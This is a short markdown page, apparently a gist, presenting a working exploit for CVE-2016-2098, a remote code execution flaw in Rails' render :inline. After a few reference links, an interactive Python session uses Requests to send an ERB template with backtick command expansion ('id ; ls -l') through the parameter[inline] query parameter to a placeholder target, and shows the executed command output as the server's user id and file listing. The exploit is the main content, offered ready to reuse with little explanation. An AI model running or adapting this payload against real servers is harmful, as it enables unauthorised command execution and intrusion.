CVE-2016-2098 exploit with Requests using Python Interpreter

CVE-2016-2098.md

CVE-2016-2098 exploit with Requests using Python Interpreter

CVE

• CVE-2016-2098

Ruby

• Layouts and Rendering in Rails > 2.2.4 Using render with :inline
• Language: Embedded Ruby (ERB) template syntax > Tags
• Ruby Programming/Syntax/Literals > Command Expansion

Python > Requests

• Requests: HTTP for Humans™

Exploit example

$ python3
...
>>> import requests
>>> url = 'http://the.target.tld'
>>> template = 'oscmd<%= `id ; ls -l`  %>oscmd'
>>> httprequest = requests.get(url, params = {'parameter[inline]' : template})
>>> httprequest.status_code ; print(httprequest.text.split("oscmd")[1])
200
uid=1000(webrick) gid=1000(webrick) groups=1000(webrick)
total 84
-rw-r--r-- 1 webrick webrick  765 Apr 15  2021 Gemfile
-rw-r--r-- 1 webrick root    2455 Apr 15  2021 Gemfile.lock
-rw-r--r-- 1 webrick webrick 9208 Apr 15  2021 README.rdoc
-rw-r--r-- 1 webrick webrick  270 Apr 15  2021 Rakefile
drwxr-xr-x 1 webrick webrick 4096 Apr 15  2021 app
drwxr-xr-x 1 webrick webrick 4096 Apr 15  2021 config
-rw-r--r-- 1 webrick webrick  155 Apr 15  2021 config.ru
drwxr-xr-x 1 webrick webrick 4096 Apr 15  2021 db
...